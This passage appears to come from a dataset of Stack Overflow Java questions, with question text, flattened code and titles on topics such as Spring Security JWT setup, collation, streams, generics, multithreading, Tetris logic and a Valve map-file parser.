/profiles > < ! doctype html > < html lang= '' en '' > < head > < meta charset= '' utf-8 '' > < title > Spring Boot + Angular 8 < /title > < base href= '' '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < link rel= '' icon '' type= '' image/x-icon '' href= '' favicon.ico '' > < link href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css '' rel= '' stylesheet '' > < link href= '' https : //fonts.googleapis.com/css ? family=Roboto:300,400,500 & display=swap '' rel= '' stylesheet '' > < link href= '' https : //fonts.googleapis.com/icon ? family=Material+Icons '' rel= '' stylesheet '' > < link href= '' https : //fonts.googleapis.com/css2 ? family=Prompt : wght @ 300 & display=swap '' rel= '' stylesheet '' > < script type= '' text/javascript '' > var cfgApiBaseUrl = `` https : //localhost:8080/wabITSpring/onlineshopping '' < /script > < link rel= '' stylesheet '' href= '' styles.ca7355ed03bb6e9eec0a.css '' > < /head > < body > server.port=8080server.servlet.context-path=/wabITSpring/onlineshopping @ Configuration @ EnableWebSecurity @ EnableGlobalMethodSecurity ( prePostEnabled = true ) public class SecurityConfig extends WebSecurityConfigurerAdapter { @ AutowiredDataSource dataSource ; @ Autowiredprivate CustomUserDetailService customUserDetailService ; @ Overridepublic void configure ( WebSecurity web ) throws Exception { web.ignoring ( ) .antMatchers ( `` /resources/** '' ) ; } @ Overrideprotected void configure ( HttpSecurity http ) throws Exception { http.cors ( ) .and ( ) .csrf ( ) .disable ( ) .authorizeRequests ( ) .antMatchers ( `` /** '' ) .permitAll ( ) .antMatchers ( `` / '' ) .hasRole ( `` anonymousUser '' ) .anyRequest ( ) .authenticated ( ) .and ( ) .sessionManagement ( ) .sessionCreationPolicy ( SessionCreationPolicy.STATELESS ) .and ( ) .exceptionHandling ( ) .accessDeniedPage ( `` /access-denied '' ) .and ( ) .addFilter ( new JWTAuthenticationFilter ( authenticationManager ( ) ) ) .addFilter ( new JWTAuthorizationFilter ( authenticationManager ( ) , customUserDetailService ) ) ; } } public class JWTAuthorizationFilter extends BasicAuthenticationFilter { private final CustomUserDetailService customUserDetailService ; public JWTAuthorizationFilter ( AuthenticationManager authenticationManager , CustomUserDetailService customUserDetailService ) { super ( authenticationManager ) ; this.customUserDetailService = customUserDetailService ; } @ Override protected void doFilterInternal ( HttpServletRequest request , HttpServletResponse response , FilterChain chain ) throws IOException , ServletException { String header = request.getHeader ( HEADER_STRING ) ; System.out.println ( `` request === '' + request.getHeader ( `` Authorization '' ) ) ; if ( header == null || ! header.startsWith ( TOKEN_PREFIX ) ) { chain.doFilter ( request , response ) ; return ; } UsernamePasswordAuthenticationToken authenticationToken = getAuthenticationToken ( request ) ; SecurityContextHolder.getContext ( ) .setAuthentication ( authenticationToken ) ; chain.doFilter ( request , response ) ; Authentication authentication = SecurityContextHolder.getContext ( ) .getAuthentication ( ) ; } private UsernamePasswordAuthenticationToken getAuthenticationToken ( HttpServletRequest request ) { String token = request.getHeader ( HEADER_STRING ) ; if ( token == null ) return null ; String username = Jwts.parser ( ) .setSigningKey ( SECRET ) .parseClaimsJws ( token.replace ( TOKEN_PREFIX , `` '' ) ) .getBody ( ) .getSubject ( ) ; UserDetails userDetails = customUserDetailService.loadUserByUsername ( username ) ; Authentication authentication = SecurityContextHolder.getContext ( ) .getAuthentication ( ) ; return username ! = null ? new UsernamePasswordAuthenticationToken ( userDetails , null , userDetails.getAuthorities ( ) ) : null ; } }",Deploy WAR file on Tomcat of Spring boot and Angular App +Java,"I have a problem in comparing strings.I want to compare two `` éd '' and `` ef '' french texts like thisThis will print -1 , but in french alphabet e come before é . But when we compare only e and é like thisresult is 1 . Can you tell we what is wrong in first part of code ?",Collator localeSpecificCollator = Collator.getInstance ( Locale.FRANCE ) ; CollationKey a = localeSpecificCollator.getCollationKey ( `` éd '' ) ; CollationKey b = localeSpecificCollator.getCollationKey ( `` ef '' ) ; System.out.println ( a.compareTo ( b ) ) ; Collator localeSpecificCollator = Collator.getInstance ( Locale.FRANCE ) ; CollationKey a = localeSpecificCollator.getCollationKey ( `` é '' ) ; CollationKey b = localeSpecificCollator.getCollationKey ( `` e '' ) ; System.out.println ( a.compareTo ( b ) ) ;,java CollationKey sorting wrong +Java,"I have a class IndexEntry which looks like this : I am storing objects of this class in a Guava SortedSetMultimap ( which allows for multiple values per key ) where I am mapping a String word to some IndexEntrys . Behind the scenes , it maps each word to a SortedSet < IndexEntry > . I am trying to implement a sort of indexed structure of words to documents and their occurrence frequencies inside the documents.I know how to get the count of the most common word , but I ca n't seem to get the word itself.Here is what I have to get the count of the most common term , where entries is the SortedSetMultimap , along with helper methods : I am trying to learn Java 8 features because they seem really useful . However , I ca n't seem to get the stream working the way I want . I want to be able to have both the word and it 's frequency at the end of the stream , but barring that , if I have the word , I can very easily get the total occurrences of that word.Currently , I keep ending up with a Stream < SortedSet < IndexEntry > > , which I ca n't do anything with . I do n't know how to get the most frequent word without the frequencies , but if I have the frequency , I ca n't seem to keep track of the corresponding word . I tried creating a WordFrequencyPair POJO class to store both , but then I just had a Stream < SortedSet < WordFrequencyPair > > , and I could n't figure out how to map that into something useful.What am I missing ?",public class IndexEntry implements Comparable < IndexEntry > { private String word ; private int frequency ; private int documentId ; ... //Simple getters for all properties public int getFrequency ( ) { return frequency ; } ... } public int mostFrequentWordFrequency ( ) { return entries .keySet ( ) .stream ( ) .map ( this : :totalFrequencyOfWord ) .max ( Comparator.naturalOrder ( ) ) .orElse ( 0 ) ; } public int totalFrequencyOfWord ( String word ) { return getEntriesOfWord ( word ) .stream ( ) .mapToInt ( IndexEntry : :getFrequency ) .sum ( ) ; } public SortedSet < IndexEntry > getEntriesOfWord ( String word ) { return entries.get ( word ) ; },How do I get the most frequent word in a Map and it 's corresponding frequency of occurrence using Java 8 streams ? +Java,Java 8 here . Looking for a ( possibly stream-based ) `` Java 8 '' way of replacing and/or deleting an object off of a List . Here 's my code : I think this can be written more efficiently/concisely and also in such a way as to leverage Java 8 streams/maps but I ca n't seem to figure out how to wire everything together . Any ideas ?,"public void applyChanges ( List < Fizz > fizzes , Action action , Fizz toModify ) { int i = 0 ; for ( Fizz fizz : fizzes ) { i++ ; if ( fizz.getId ( ) == toModify.getId ( ) ) { switch ( action ) { case Replace : // Here we want to replace 'fizz ' in the list // with 'toModify ' however order/sequence does n't matter . fizzes.remove ( i ) ; fizzes.add ( toModify ) ; break ; case Delete : default : // Here we just want to remove the Fizz with the matching // ID from 'fizzes ' . fizzes.remove ( i ) ; break ; } } } }",Java 8 streams/maps/filters to modify or delete list elements on the fly +Java,"In my current project , I write high-level specification ( as indicated below for reference ) and am parsing it using grammar written in ANTLR and then using StringTempate to generate equivalent Java programming code . Now , my client finds the writing of this textual high-level specification difficult and want me to provide equivalent visual drag and drop programming constructs and editor to specify this programming constructs . My question is : does eclipse provide anydrag and drop workbench to develop visual programming constructs and editors ? It MAY be easy to integrate with ANTLR.A Sample example or its link will be useful .",TemperatureSensor generate tempMeasurement : TempStruct ; TempStruct tempValue : double ; unitOfMeasurement : String ;,Drag and Drop visual editor in Eclipse +Java,"I 'm trying to compile code such as the below using JDK1.5.0_u22 . I get two compile errors ( further below ) . It works fine with JDK1.6.0u30 , but my project is restricted to Java 5 . It also works fine if I repleace float with the wrapper class Float . Does anyone know what 's going on here ? A simple bug or some general restriction on the use of primitive array types in generic situations ? Compile errors :","import java.util . * ; public class A { public static void main ( String [ ] args ) { List < float [ ] > list = Arrays.asList ( new float [ 1 ] , new float [ 3 ] ) ; float [ ] key = new float [ 2 ] ; int index = Collections.binarySearch ( list , key , new Comparator < float [ ] > ( ) { public int compare ( float [ ] f1 , float [ ] f2 ) { return f1.length - f2.length ; } } ) ; System.out.println ( index ) ; } } C : \Users\mravn\Desktop > '' c : \Program Files\Java\jdk1.5.0_22 '' \bin\javac A.javaA.java:4 : incompatible typesfound : java.util.List < < nulltype > [ ] > required : java.util.List < float [ ] > List < float [ ] > list = Arrays.asList ( new float [ 1 ] , new float [ 3 ] ) ; ^A.java:6 : can not find symbolsymbol : method binarySearch ( java.util.List < float [ ] > , float [ ] , < anonymous java.util.Comparator < float [ ] > > ) location : class java.util.Collections int index = Collections.binarySearch ( list , key , new Comparator < float [ ] > ( ) { ^2 errorsC : \Users\mravn\Desktop >",What is wrong with using a primitive array as an actual type parameter in Java 5 ? +Java,"Alright , this is a sort of dual-purpose question . The main thing I hope to take away from this is more knowledge of multithreading . I am a complete newbie when it comes to multithreading , and this is my first actual attempt to do anything in multiple threads . The other thing I hope to take away is some help with a piece of homework that I am turning into a much more complicated franken-project for fun and learning . In the first part of this question I am going to detail my thinking and methodology for the threads I have been working on in my homework assignment . If I am doing anything that is bad practice , needs to be fixed , whatever , please let me know so I can learn . Again , I know practically nothing about multithreading.First off , I am currently taking a computer science course which , to be nice about it , has homework which uses techniques and data structures that I 've already learned and is thus not challenging . To attempt to not be entirely bored out of my skull , I am trying to take a simple project ( creating a Linked List and a sorted Linked List ) and turn it into a multi-threaded franken-program . I would like the method for adding new elements to be in a separate thread and gets input from a queue ( not entirely necessary for an un-ordered list , but will be more useful for proper ordering ) , and for the ordered list I want a separate thread that will patrol the list to make sure all elements are in order ( one of the methods that I am NOT ALLOWED to change returns references to entire nodes , which have completely public data ) . Those are the two main things I would want to create , but definitely not the only things I might want to try and figure out . This is meant to be pretty much just a test to learn about multithreading , so I 'm not particularly designing this project for practicality . If you want to leave a comment about what is good programming practice for what should be threaded or not , it would be highly appreciated.As a step I took just recently , the idea for which was gleaned from reading a post on StackOverflow itself , I have created a master class which has Threads passed to it so it can stop them and clean everything up at the end of the program . This is done through use someThread.interrupt ( ) and having the Thread 's run ( ) method checking for that exception . However , I have found a problem with this method : the loop that runs through the Threads and calling interrupt ( ) , most times , does not actually run . Here is the code for the method : While attempting to debug it , I put in the while loop to try and force the method to eventually run the for loop , but all that happens is it outputs `` Stopping all threads '' and then I never see anything else . I do n't know if this is a bad way to code , or what is wrong with this code . Any help figuring out how to make this work is appreciated ( if you need to see more of the class , please let me know . I do n't really know what you need to see , but I do n't want to copy and paste several entire java files ) .On top of this problem , I have also determined that when running my program , it will reach the last line and attempt to stop all Threads before the Thread going through the queue of numbers to add to the list is finished adding everything . This is also a problem when attempting to output the list through a toString method directly after adding numbers to the queue , as nothing will yet be added , and thus nothing will be output to the console . Here is my main method that shows the order of things happening ( though I imagine that it is less important when dealing with threading ) : Lastly , here is the custom thread that I have made which is supposed to check the queue for elements , then add all elements in the queue to my actual list : Now , the absolute last thing I would like to ask for are some of the basic primers and guidelines and such for good multithreading . I have found a good amount of tutorials , but there are some things that people do n't mention in tutorials , as well as most tutorials are only so-so . If you know of any good tutorials , I would appreciate links to them . If there are any good coding methodologies for multithreading , that would be very appreciated as well . Just any sort of information that you think might help me wrap my brain around this concept , as well as make sure that when implementing it , I do it in a way that is less prone to bugs and people wo n't yell at me for bad practices.EDIT : To answer the questions matt b put into a comment , addThread is purely a reference to the Thread that looks at the queue which has elements in it to add to the list and puts them into the list . It is a private Thread inside of the class containing the AddThread class ( clever use of names , eh ? ) . Threads are constructed in a way that was posted in another question at StackOverflow . Here is an example ( and also a snippet of code showing what addThread is ) : All Threads are created in a similar way . As to what the Thread I posted is supposed to be doing , I did explain that in detail above , but I 'll try to put a synopsis here . The AddThread class is an inner class which gets created at time of construction of the linked list class I am trying to make . It looks at a private queue which may or may not have elements in it , and when it does , it puts those elements into the linked list . The queue gets added too when the linked list 's add ( T newElt ) method is called.EDIT EDIT : In the interest of full disclosure , and for those who wish to take the time , I am going to post the entirety of the two relevant java files here.List.javaActiveThreads.java","public static void stopAllThreads ( ) { boolean stopped = false ; while ( ! stopped ) { System.out.println ( `` Stopping all threads '' ) ; synchronized ( threads ) { System.out.println ( `` Threads being stopped : `` + threads.size ( ) ) ; for ( int i = 0 ; i < threads.size ( ) ; i++ ) { System.out.println ( `` Stopping : `` + threads.get ( i ) ) ; threads.get ( i ) .interrupt ( ) ; } threads.clear ( ) ; stopped = true ; } } } public static void main ( String [ ] args ) { // always make sure this is the first thing created ActiveThreads bla = new ActiveThreads ( ) ; Comparator < Integer > temp = new Comparator < Integer > ( ) { public int compare ( Integer i , Integer j ) { if ( i > j ) return 1 ; if ( i < j ) return -1 ; return 0 ; } } ; List < Integer > woogle = new List < Integer > ( temp ) ; woogle.add ( 1 ) ; woogle.add ( 2 ) ; woogle.add ( 3 ) ; woogle.add ( 4 ) ; System.out.println ( woogle ) ; ActiveThreads.stopAllThreads ( ) ; } private class AddThread implements Runnable { public AddThread ( ) { } public void run ( ) { while ( running ) { synchronized ( addQueue ) { while ( ! addQueue.isEmpty ( ) ) { System.out.println ( `` Going through queue '' ) ; T temp = addQueue.poll ( ) ; if ( head == null ) { head = new Node < T > ( ) ; last = head ; head.data = temp ; largest = temp ; smallest = temp ; } else { last.next = new Node < T > ( ) ; last.next.data = temp ; last = last.next ; if ( mComparator.compare ( temp , largest ) == 1 ) { largest = temp ; } else if ( mComparator.compare ( temp , smallest ) == -1 ) { smallest = temp ; } } ++size ; } } System.out.println ( `` Pausing `` + addThread ) ; synchronized ( addThread ) { pause ( 200 ) ; } } } private void pause ( long time ) { try { addThread.wait ( time ) ; } catch ( InterruptedException e ) { running = false ; addThread.notify ( ) ; } } private boolean running = true ; } addThread = new Thread ( new AddThread ( ) , `` Thread for adding elements '' ) ; addThread.setPriority ( 6 ) ; addThread.start ( ) ; ActiveThreads.addThread ( addThread ) ; public class List < T > implements Iterable < T > , Comparable < List < T > > { // you may not change this inner class ! class Node < D > { D data ; Node < D > next ; } public List ( Comparator < T > comparator ) { mComparator = comparator ; head = null ; last = null ; size = 0 ; addQueue = new LinkedList < T > ( ) ; addThread = new Thread ( new AddThread ( ) , `` Thread for adding elements '' ) ; addThread.setPriority ( 6 ) ; addThread.start ( ) ; ActiveThreads.addThread ( addThread ) ; } public void add ( T newElt ) { synchronized ( addQueue ) { addQueue.add ( newElt ) ; } } public T get ( int index ) { if ( index > size ) throw new IndexOutOfBoundsException ( ) ; Node < T > temp = head ; for ( int i = 0 ; i < index ; i++ ) { temp = temp.next ; } return temp.data ; } public Node < T > lookup ( T element ) { Node < T > temp = head ; for ( int i = 0 ; i < size ; i++ ) { if ( temp.data == element ) return temp ; temp = temp.next ; } throw new NoSuchElementException ( ) ; } public int size ( ) { return size ; } public boolean isEmpty ( ) { return head == null ; } public void delete ( T element ) { throw new UnsupportedOperationException ( `` You must implement this method . `` ) ; } public void replace ( T oldElt , T newElt ) { try { Node < T > temp = lookup ( oldElt ) ; temp.data = newElt ; } catch ( NoSuchElementException e ) { throw e ; } } public T getLargest ( ) { return largest ; } public T getSmallest ( ) { return smallest ; } public List < T > copy ( ) { throw new UnsupportedOperationException ( `` You must implement this method . `` ) ; } public String toString ( ) { StringBuffer ret = new StringBuffer ( ) ; int i = 0 ; for ( T x : this ) { System.out.println ( `` Loop : `` + i++ ) ; ret.append ( x + `` `` ) ; } return ret.toString ( ) ; } public int compareTo ( List < T > other ) { throw new UnsupportedOperationException ( `` You must implement this method . `` ) ; } public ListIterator < T > iterator ( ) { return new ListIterator < T > ( head ) ; } private class ListIterator < E > implements Iterator < E > { private ListIterator ( Node < E > head ) { cur = head ; } public boolean hasNext ( ) { if ( cur == null ) return false ; System.out.println ( `` Iterator : `` + cur.data ) ; return cur.next == null ; } @ SuppressWarnings ( `` unchecked '' ) public E next ( ) { Node < E > temp = cur ; cur = cur.next ; return ( E ) temp.data ; } public void remove ( ) { throw new UnsupportedOperationException ( `` You do NOT need to implement `` + `` this method . `` ) ; } private Node < E > cur ; } private class AddThread implements Runnable { public AddThread ( ) { } public void run ( ) { while ( running ) { synchronized ( addQueue ) { while ( ! addQueue.isEmpty ( ) ) { System.out.println ( `` Going through queue '' ) ; T temp = addQueue.poll ( ) ; if ( head == null ) { head = new Node < T > ( ) ; last = head ; head.data = temp ; largest = temp ; smallest = temp ; } else { last.next = new Node < T > ( ) ; last.next.data = temp ; last = last.next ; if ( mComparator.compare ( temp , largest ) == 1 ) { largest = temp ; } else if ( mComparator.compare ( temp , smallest ) == -1 ) { smallest = temp ; } } ++size ; } } System.out.println ( `` Pausing `` + addThread ) ; synchronized ( addThread ) { pause ( 200 ) ; } } } private void pause ( long time ) { try { addThread.wait ( time ) ; } catch ( InterruptedException e ) { running = false ; addThread.notify ( ) ; } } private volatile boolean running = true ; } private Comparator < T > mComparator ; private Node < T > head , last ; private Thread addThread ; // replace this with your own created class later private Queue < T > addQueue ; private int size ; private T largest , smallest ; } public class ActiveThreads { public ActiveThreads ( ) { if ( threads == null ) { threads = new ArrayList < Thread > ( ) ; } if ( threadsMonitor == null ) { ThreadsMonitor monitor = new ThreadsMonitor ( ) ; Thread thread = new Thread ( monitor , `` Active Threads Monitor '' ) ; thread.setPriority ( 3 ) ; thread.start ( ) ; threadsMonitor = thread ; } } public static void stopMonitoring ( ) { synchronized ( threadsMonitor ) { threadsMonitor.interrupt ( ) ; } } public static void addThread ( Thread t ) { synchronized ( threads ) { threads.add ( t ) ; System.out.println ( `` Added thread : `` + t ) ; } } public static void addThread ( Runnable r , String s ) { Thread t = new Thread ( r , s ) ; t.start ( ) ; addThread ( t ) ; } public static void stopThread ( Thread t ) { synchronized ( threads ) { for ( int i = 0 ; i < threads.size ( ) ; i++ ) { if ( threads.get ( i ) == t ) { threads.get ( i ) .interrupt ( ) ; threads.remove ( i ) ; } } } } public static void stopAllThreads ( ) { boolean stopped = false ; while ( stopped == false ) { System.out.println ( `` Stopping all threads '' ) ; synchronized ( threads ) { System.out.println ( `` Threads being stopped : `` + threads.size ( ) ) ; for ( int i = 0 ; i < threads.size ( ) ; i++ ) { System.out.println ( `` Stopping : `` + threads.get ( i ) ) ; threads.get ( i ) .interrupt ( ) ; } threads.clear ( ) ; stopped = true ; } } } private static ArrayList < Thread > threads = null ; private static Thread threadsMonitor = null ; private class ThreadsMonitor implements Runnable { public ThreadsMonitor ( ) { } public void run ( ) { while ( true ) { synchronized ( threads ) { for ( int i = 0 ; i < threads.size ( ) ; i++ ) { if ( ! threads.get ( i ) .isAlive ( ) ) { threads.get ( i ) .interrupt ( ) ; threads.remove ( i ) ; } synchronized ( threadsMonitor ) { try { threadsMonitor.wait ( 5000 ) ; } catch ( InterruptedException e ) { threadsMonitor.interrupted ( ) ; return ; } } } } } } } }",Help with Java Multithreading +Java,"Here is a snippet of the code-This gives me -error : type mismatch ; found : java.lang.String ( `` foo '' ) required : Nothing queue.add ( `` foo '' ) My understanding is its because of me not specifying the type of the elements going into the queue . If thats the case , how do we specify types in scala for the LinkedBlockingQueue instead of the default generic ones ?",import java.util.concurrent.LinkedBlockingQueue def main ( args : Array [ String ] ) { val queue=new LinkedBlockingQueue queue.put ( `` foo '' ) },java.util.concurrent.LinkedBlockingQueue put method requires Nothing as argument in Scala +Java,"I 'm reading about type inference for generics , and this code was provided as an example that fails to compile.And the explanation given in the book was : `` ( It looks like the setError ( ) method in StrLastError is overriding setError ( ) in the LastError class . However , it is not the case . At the time of compilation , the knowledge of type S is not available . Therefore , the compiler records the signatures of these two methods as setError ( String ) in superclass and setError ( S_extends_CharSequence ) in subclass—treating them as overloaded methods ( not overridden ) . In this case , when the call to setError ( ) is found , the compiler finds both the overloaded methods matching , resulting in the ambiguous method call error . `` I really do n't understand why type S ca n't be inferred at compile time.String is passed when invoking the constructor of class StrLastError , and from the API docs , String does implement interface CharSequence , so does n't that mean that S for < S extends CharSequence > actually is of type String ? I 've read the Java online tutorial on the topic of generics several times . I 've checked `` Type Inference '' , and Inheritance , I just do n't know how the whole thing works . I really need an explanation on this question.The points I 'm stuck at are : If the subtype ca n't decide S , how come the super type can decide T , because the superclass does not have an upper bound ? Or does it infer that T is String because the subtype calls the supertype 's constructor first ? I understand that if the Constructor is invoked as : there will be no ambiguity , since it 's plain method overriding then . ( Or am I even wrong here ? ) However , like I said in the beginning , if String is passed , why ca n't S be inferred to be String ?",import java.io . * ; class LastError < T > { private T lastError ; void setError ( T t ) { lastError = t ; System.out.println ( `` LastError : setError '' ) ; } } class StrLastError < S extends CharSequence > extends LastError < String > { public StrLastError ( S s ) { } void setError ( S s ) { System.out.println ( `` StrLastError : setError '' ) ; } } class Test { public static void main ( String [ ] args ) { StrLastError < String > err = new StrLastError < String > ( `` Error '' ) ; err.setError ( `` Last error '' ) ; } } StrLastError < CharSequence > err = newStrLastError < > ( ( CharSequence ) '' Error '' ) ;,"Java Generics , Type Inference , Inheritance ?" +Java,"I came across this little quine program , written without main method : Can somebody explain how does this work ? Thanks .","enum f { f ; System z ; String s= '' enum f { f ; System z ; String s= % c % s % 1 $ c ; { z.out.printf ( s,34 , s ) ; z.exit ( 0 ) ; } } '' ; { z.out.printf ( s,34 , s ) ; z.exit ( 0 ) ; } }",Quine program without main ( ) +Java,"I got a code review remark today to extract this anonymous class into a field , to avoid allocating it over and over again : I replied that `` it does n't matter , the JVM optimizes it '' . While I know for a fact that this `` optimization '' wo n't affect the performance in any way and I think the added value of having the code accessible inline is worth it , I 'm curious if I was right about the JVM optimization.So , my question is - it the proposed refactoring absolutely a no-op , because the JVM will optimize it anyway , or is there some minuscule theoretical perf gain here ?","Collections.transform ( new Function < Foo , Bar > ( ) { Bar apply ( Foo foo ) { // do some simple local transform of foo into a Bar . } } ) ;",Does a modern JVM optimize simple inline anonymous class allocation ? +Java,I was curious why a lambda with a return type can not be casted to a Runnable whereas a non void method reference can .,Runnable r1 = ( ) - > 1 ; // not allowed// error : incompatible types : bad return type in lambda expression// int can not be converted to voidRunnable r2 = ( ( Supplier ) ( ) - > 1 ) : :get ; // allowed,Lambda casting rules +Java,"This post says that a += b is the equivalent ofLet 's say I have this code : Assume that beginmt runs multiple times simultaneously ( with thread numbers 1 to 15500 ) on a single instance of MultiThreading class . Could there be instances such that it could print the following i.e . some thread numbers are lost and some numbers are doubled ? Edit : Will it be safe to say that the + operator wo n't get into some unsafe publication issue ? I 'm thinking the StringBuilder could be optimized into something that resembles an instance variable in which case it could be unsafely published.Edit 2 : As far as the JLS , the abovementioned post , and a similar class file for the above code are checked , the StringBuilders to be used seem to have to get contained within different stackframes . However , I 'd still like to check whether some form of aggressive optimization could cause the StringBuilders to be replaced by a centralized StringBuilder in some way . This sounds possible as it sounds logical for optimizers to optimize when it predicts that an object is just implemented in a non-constant way when in fact such object could be constant.Found stringopts.cpp but have n't found the time yet to fully check it . I 'm hopefully looking for answers involving details of this source file.Edit 3 : I 'm still looking for answers that include code on aggressive inlining for mutable objects .",a = new StringBuilder ( ) .append ( a ) .append ( b ) .toString ( ) ; public class MultiThreadingClass extends SomeThirdPartyClassThatExtendsObject { public void beginmt ( String st ) throws IOException { //st is a thread number st = new File ( `` c : \\somepath '' ) .getCanonicalPath ( ) + '' \\ '' +st ; System.out.println ( st ) ; } } c : \somepath\2c : \somepath\1c : \somepath\1c : \somepath\4c : \somepath\5c : \somepath\6c : \somepath\7c : \somepath\8c : \somepath\8c : \somepath\10 ...,"Thread safety of the plus operator for Strings , optimizations included" +Java,"Given two jagged arrays : a & b where a + b will always have the same # of rows : how exactly can I manipulate a new jagged array c to return : { { 1,2,7 } , { 4,5,6,8,9,0 } } ? Here 's what I have so far : The trouble arises , as you all can see , that I am performing a deep copy , which , on the second iteration of the for-loop , is setting ALL rows to a length of the length of the current row on the step of the iteration .","int [ ] [ ] a = { { 1,2 } , { 4,5,6 } } ; int [ ] [ ] b = { { 7 } , { 8,9,0 } } ; int [ ] [ ] c = null ; for ( int i = 0 ; i < a.length ; i++ ) { c = new int [ a.length ] [ a [ i ] .length + b [ i ] .length ] ; } //rest of my code for assigning the values into the appropriate position works .",Combining elements in jagged 2D arrays into one new jagged 2D array ( Deep Copy issue ) +Java,"Eclipse 's JDT compiler provide an interface INameEnvironment which defines method findType ( ... ) enable you to do cascade compilation . Curiously I would like to know if there are any means to do it using standard JDK compiler toolkit ? Note , the scenario is a template engine which do in memory compilation for template file generated classes which have inter-dependencies , and it can not forecast the order you encountered a template file , thus Foo might needs to be compiled first before it 's parent Bar compiled already , therefore you need a mechanism to do cascade compilation , meaning during compilation of Foo you need to generate another source Bar and compile it first in order to continue Foo 's compilation : some code like the follows :","private NameEnvironmentAnswer findType ( final String name ) { try { if ( ! name.contains ( TemplateClass.CN_SUFFIX ) ) { return findStandType ( name ) ; } char [ ] fileName = name.toCharArray ( ) ; TemplateClass templateClass = classCache.getByClassName ( name ) ; // TemplateClass exists if ( templateClass ! = null ) { if ( templateClass.javaByteCode ! = null ) { ClassFileReader classFileReader = new ClassFileReader ( templateClass.javaByteCode , fileName , true ) ; return new NameEnvironmentAnswer ( classFileReader , null ) ; } // Cascade compilation ICompilationUnit compilationUnit = new CompilationUnit ( name ) ; return new NameEnvironmentAnswer ( compilationUnit , null ) ; } // So it 's a standard class return findStandType ( name ) ; } catch ( ClassFormatException e ) { // Something very very bad throw new RuntimeException ( e ) ; } }",Cascade In-Memory Compilation with javax.tool +Java,In spring aop you can create advices that will effect all instance of a certain type but what I want is to advise a bean declaration not all beans of that type.I want to advise bean1 not all beans of type1 . What is the best approach ?,< bean id= '' bean1 '' class= '' type1 '' / > < bean id= '' bean2 '' class= '' type1 '' / >,How to use Spring AOP to advise a bean of class X with certain id instead of all beans of class X +Java,"I 'm trying to make the game Tetris in java.I 've gotten it to the point where : a new block is generated when it hits the floor or its y+1 is not null ( meaning there 's another block under it ) A row clears when the bottom row is full of non-null values , or the Tetris pieces ( for y = 4 ( the floor ) , loop through x till x = 4 and check if all non-null ) Right now , I 'm using keys to move the block : There 's two issues I 'm having:1 ) In the picture you 'll notice I 've dropped the block all the way to the floor ... and the row cleared . After it 's cleared , it will generate a block to the top left ( x=0 , y=1 ) which I have no control over . 2 ) On the floor there seems to be a red line ... which I 'm assuming is a row of blocks hidden by the JFrame ... I 'm not sure why that 's there.FYI : If you 're wondering why grid [ j ] [ i ] has the rows and columns flipped ( aka , why it 's not grid [ i ] [ j ] ) is because I instantiated it as grid = new Tile [ height ] [ width ] ; Any thoughts ? Thanks !","public void collisionCheck ( int x , int y ) { if ( activetile.getY ( ) == this.height-2 || getTileAt ( x , y+1 ) ! = null ) { activetile = new Tile ( this , 0 , 0 ) ; } } public void checkBottomFull ( int x , int y ) { while ( getTileAt ( x , y ) ! = null ) { say ( `` ( `` + x + `` , `` + y + '' ) '' ) ; if ( x == 3 ) { say ( `` row is full '' ) ; //replace full row with tiles from above for ( int i = 0 ; i < 4 ; i++ ) { for ( int j = 5 ; j > 0 ; j -- ) { grid [ j ] [ i ] = getTileAt ( i , j-1 ) ; grid [ j-1 ] [ i ] = null ; } } break ; } x++ ; } } public void keyPressed ( KeyEvent e ) { int keyCode = e.getKeyCode ( ) ; if ( keyCode == KeyEvent.VK_DOWN ) { activetile.setLocation ( activetile.getX ( ) , activetile.getY ( ) +1 ) ; System.out.println ( `` coordinates : `` + activetile.getX ( ) + `` , `` + activetile.getY ( ) ) ; collisionCheck ( activetile.getX ( ) , activetile.getY ( ) ) ; checkBottomFull ( 0,4 ) ; repaint ( ) ; } }",java : tetris random block generated upon row clear +Java,"Is it a good practice to initialize variables , specially object references at class level ? Please consider the following examples ; orWhich way is best ? Please guide me about the pros and cons of both.Regards .",public class MyClass { private static MyObject myObject ; public static void main ( String [ ] args ) { myObject = new MyObject ( ) ; } } public class MyClass { private MyObject myObject = new MyObject ( ) ; public static void main ( String [ ] args ) { // Other code } },Should members be initialized in the class or the constructor ? +Java,"I am currently working on a `` code parser '' parsing Valve Map Format ( .vmf files ) into a java readable Object.In vmf files , there are 2 types of objects : Classes and Properties.classes have a name and can contain other classes and properties.properties have a name and an unlimited number of values.Therefore I created a VMFClass Object Class and a VMFProperty Object Class.I created a List with self-created HierarchyObjects , containing the VMFClass/VMFProperty Object , an UUID and the parentUUID.The VMFClass Object Contains 2 Lists one with sub-VMFClasses , one with properties.My Problem is that I have no clue on how to achieve that a Class contains all of its subclasses , since I ca n't tell how much subclasses the subclasses have and so on ... Here is my Code ( Github ) : HierachyObject : VMFProperty : VMFClass : VMFObject ( the class executing all the code ) : the //TODO part is where the Hierachy Object should get `` converted '' to the actual object .","package net.minecraft.sourcecraftreloaded.utils ; import java.util.ArrayList ; import java.util.HashMap ; import java.util.List ; import java.util.Map ; public class HierarchyObject { private static Map < Long , Long > usedUUIDs = new HashMap < > ( ) ; private long parentUUID ; private long UUID ; private Object object ; /** * * @ param Object * @ param parent -1 is maximum level */ public HierarchyObject ( Object object , long parent ) { this.object = object ; this.parentUUID = parent ; while ( true ) { long random = ( long ) ( Math.random ( ) * Long.MAX_VALUE ) ; if ( usedUUIDs.containsKey ( random ) ) { this.UUID = random ; usedUUIDs.put ( random , parent ) ; break ; } } } public long getUUID ( ) { return UUID ; } public long getParentUUID ( ) { return parentUUID ; } public static long getParentUUIDbyUUID ( long UUID ) { if ( usedUUIDs.containsKey ( UUID ) ) { return usedUUIDs.get ( UUID ) ; } return -1 ; } public Object getObject ( ) { return object ; } public static boolean hasChild ( long UUID ) { if ( usedUUIDs.containsValue ( UUID ) ) { return true ; } if ( UUID == -1 ) { return true ; } return false ; } public boolean hasChild ( ) { return hasChild ( this.UUID ) ; } public static long [ ] getChildUUIDs ( long UUID ) { if ( hasChild ( UUID ) ) { List < Long > cUUIDs = new ArrayList < > ( ) ; for ( int i = 0 ; i < usedUUIDs.size ( ) ; i++ ) { for ( Map.Entry < Long , Long > e : usedUUIDs.entrySet ( ) ) { if ( e.getValue ( ) .longValue ( ) == UUID ) { cUUIDs.add ( e.getKey ( ) ) ; } } } return ListUtils.toPrimitivebyList ( cUUIDs ) ; } return null ; } } package net.minecraft.sourcecraftreloaded.source ; public class VMFProperty { private String name ; private String [ ] values ; public VMFProperty ( String name , String ... values ) { this.name = 